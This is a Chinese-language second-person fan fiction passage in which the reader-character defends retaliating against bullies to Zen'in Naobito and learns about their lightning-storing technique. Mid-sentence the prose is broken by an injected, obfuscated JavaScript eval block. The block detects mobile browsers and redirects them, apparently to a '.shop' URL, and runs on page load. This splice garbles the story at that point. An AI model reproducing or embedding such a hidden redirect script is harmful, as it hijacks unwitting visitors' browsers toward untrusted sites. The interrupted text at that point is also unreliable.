你的回答算是在直毘人的预料之中,他的神情明显放松下来了,往椅背上一倒,摆出一副过来人长辈的耐心模样,拖长了每一个音节,对你说:“那就对了。你打别人的时候,别人不也该感觉到疼痛吗?自己不喜欢的感触,为什么要强加给别人?” “嗯,我知道。” 你一脸诚恳。 “我就是为了让他们体验到疼痛,所以才揍他们的。” “……?” 这可不是预期之中的话语。直毘人恼怒地眯着眼,他真的感觉到你的价值观已经歪得不能再歪了。 而你继续解释:“我试着去喜欢他们了,也试着去爱他们,可他们返给我的并不是爱意。” 就算用矫正之后,那群家伙还是一副恶意满满的样子。你觉得你意识到了什么。 “既然他们给到我的恶意,那我也回以恶意。直毘人大人,我认为这是理所应当的事情。既然我给予的一切会像潮水那样最终回到我的身边,那反过来不也一样吗?因为恶意像潮水般涌来,所以我也恶意地回应过去,就是这样。我认为根本没必要积极地去应对。” 直毘人开始头痛了。“鸣神,你在说什么?”真不想承认,他完全没有听懂你的叽里咕噜到底想要表达什么意思,“突然说潮水干嘛?” 你忽然意识到,潮水的理论只是父母传授给你的知识,大概不是什么不是人人皆知的价值观。于是你很详细地给禅院直毘人解释了一遍,他看起来听得不那么认真,只在结尾的时候自言自语了一句“净给孩子灌输这种指向性过分强烈的道理”。 他的嘀咕声很轻,你根本没有听清,而且你光顾着给出你的最后定论,并不那么关心家主对你的世界观的评价。 “意思就是说。”你的定论如下,“如果不希望被我粗暴地对待,那么那些人也不该粗暴地对待我,比如像是总说我没有术式之类的。他们说出了不让人喜欢的话,那就应该被用不喜欢的方式对待!” 你说得理直气壮。直毘人对你的强词夺理感到意外,一方面惊讶于你一个年龄只有他六分之一的小屁孩居然能把歪理说得如此义正词严,一方面又纳闷五十里夫妇在你人生的头几年里究竟是怎么教育你的,居然给你打上了这种等级的思想钢印。相较之下,你说旁人都嘲笑你没有术式的困扰,反而显得相当微不足道了——虽然他最后还是选择了从这一点开始切入。 “谁说你没有术式?”他问你。 “大家都这么说。” 就连你也没有发现自己存在什么特别的力量或者技巧。 直毘人稍显困惑,眼睛上下一挑,把你打量了遍,说:“总监部的人没和你说过你的术式吗?” “没有。”你习惯性茫然地眨了眨眼,“总监部是什么?” 其实家塾早就已经教过咒术界权力分配的现状了,但可能正是因为教得太早,你彻底忘个精光。 直毘人没什么空对你进行基础知识的查缺补漏,干脆用最简单直白的方式进行解释:“在研究所爆炸后第一个和你对接的势力。” “唔——” 你努力回想了一番。 真不好意思承认,爆炸事件你也不那么想得起来了。 你只记得,那天爸爸带你去研究所找妈妈,顺便去进行那一年的定期体检。你们搭乘电梯来到地下,还没有来得及走进妈妈的实验室,走廊里就响起了尖锐的警报声,呜哇呜哇像是什么怪物扯着嗓子在喊。有很多人跑进来,而爸爸带着你跑出去,有什么东西从后方扑过来,把你按在了地板上,你的意识从这一秒之后就中断了。 再醒来的时候,你被人扛着走出废墟,矗立在林中的研究所变成了混凝土与钢筋的残骸,爬满了闪电状的焦黑纹路,天顶有一层透黑色的屏障正在瓦解。扛着你的男人说,他是总监部派来支援的咒术师,没能逃出研究所的你的父母不幸罹难,但总监部会想办法给你找到新的安置场所。 接下去的短暂一段时间,都是总监部的人在照看你的情况,在那之后你才见到了直毘人、被带到了禅院家、接受了成为咒术师的教育。 并且把禅院家的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204862|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了,最后不得不在家主的面前进行这番回忆。 哦哦,原来那就是“总监部”啊。 你明白了,但也不能算是太明白,且就算是认真地盘了一遍回忆,也想不起总监部的人和你说过任何和术式有关的内容。你果断地摇头,这可不是直毘人乐意听到的答案——这不就意味着他又要当解释的那个人了嘛。 “总监部的人做起事来真是七零八落。”他抱怨完又叹了口气,抬起眼皮重新看你,“你的术式的细节,我了解得也不多,但你有术式这一点是可以确定的。下次还有人说你没术式的话,用这个事实呛回去,不要用拳头当做回应。” 你没有应声,也不点头,只问:“我的术式是什么?” “吸收、放出,大概是这样。”正如直毘人所说,他了解得不多,就算是现在解释起来也只能说得含含糊糊的,“总监部的说法是,你好像能把雷电储存在体内,然后再释放出来,但他们觉得你的能力应该还能进一步拓宽,当然这是你自己需要在意一下的事情。我只知道,研究所事件的那天正好是雷雨天,你储存了那天的雷电,把建筑物轰成了碎屑。” 直毘人没有察觉到自己说了太多,你也没有意识到自己听到了很关键的信息。等你意识到这句“你把研究所轰成碎屑”似乎意味着某种了不得的事情时,直毘人已经开启下一阶段的话题了。 “针对你的行为,该受的惩罚已经够多了,但既然告到了我这里,我理应也该对你有一些措施才对。”他伸手去摸酒壶,却没想着逃进酒精里咪一口,习惯性地依旧在叹气,“如果是其他人,我肯定会惩罚他。但你……实在不方便这么做。” 你的关注点一下子从研究所事件歪到了他的话语上。为什么?你本来想这么问的,可才刚动了动唇,他就接着说了下去,算是主动给了你一个解释。 “估计没人说过,现在你的监护人是我,要为你的行为负责的人同样也是我。但我没有精力和时间指导或是教育你,也没可能填补上你失去的父母空位。在禅院家,教育的手段一贯只有血和眼泪。你要知道怎么约束自己的行为。” 好吧,这听起来也不算是解释。你的困惑一点都没有被解开,还是不知道他为什么会说他不方便惩罚你。倒是大道理劈头盖脸地砸过来,说着要你约束自己。 这说辞未免太“大人”了,你可不知道怎么才能做到自我约束。 一定是从你懵懂的表情里重新意识到了你尚且只是个不谙世事的笨小孩的现状,直毘人托着下巴想了想,忽然对你笑了一下。你觉得这副表情和甚尔和你说可以攻人下三路时流露出的表情惊人的相似——像狐狸那样狡猾的邪恶感。 不只是表情而已,就连他们的说辞居然也有异曲同工之妙。 “我其实也不反对你这种有仇必报的心态,但是……你蛮好可以用更聪明的方式报复回去嘛。”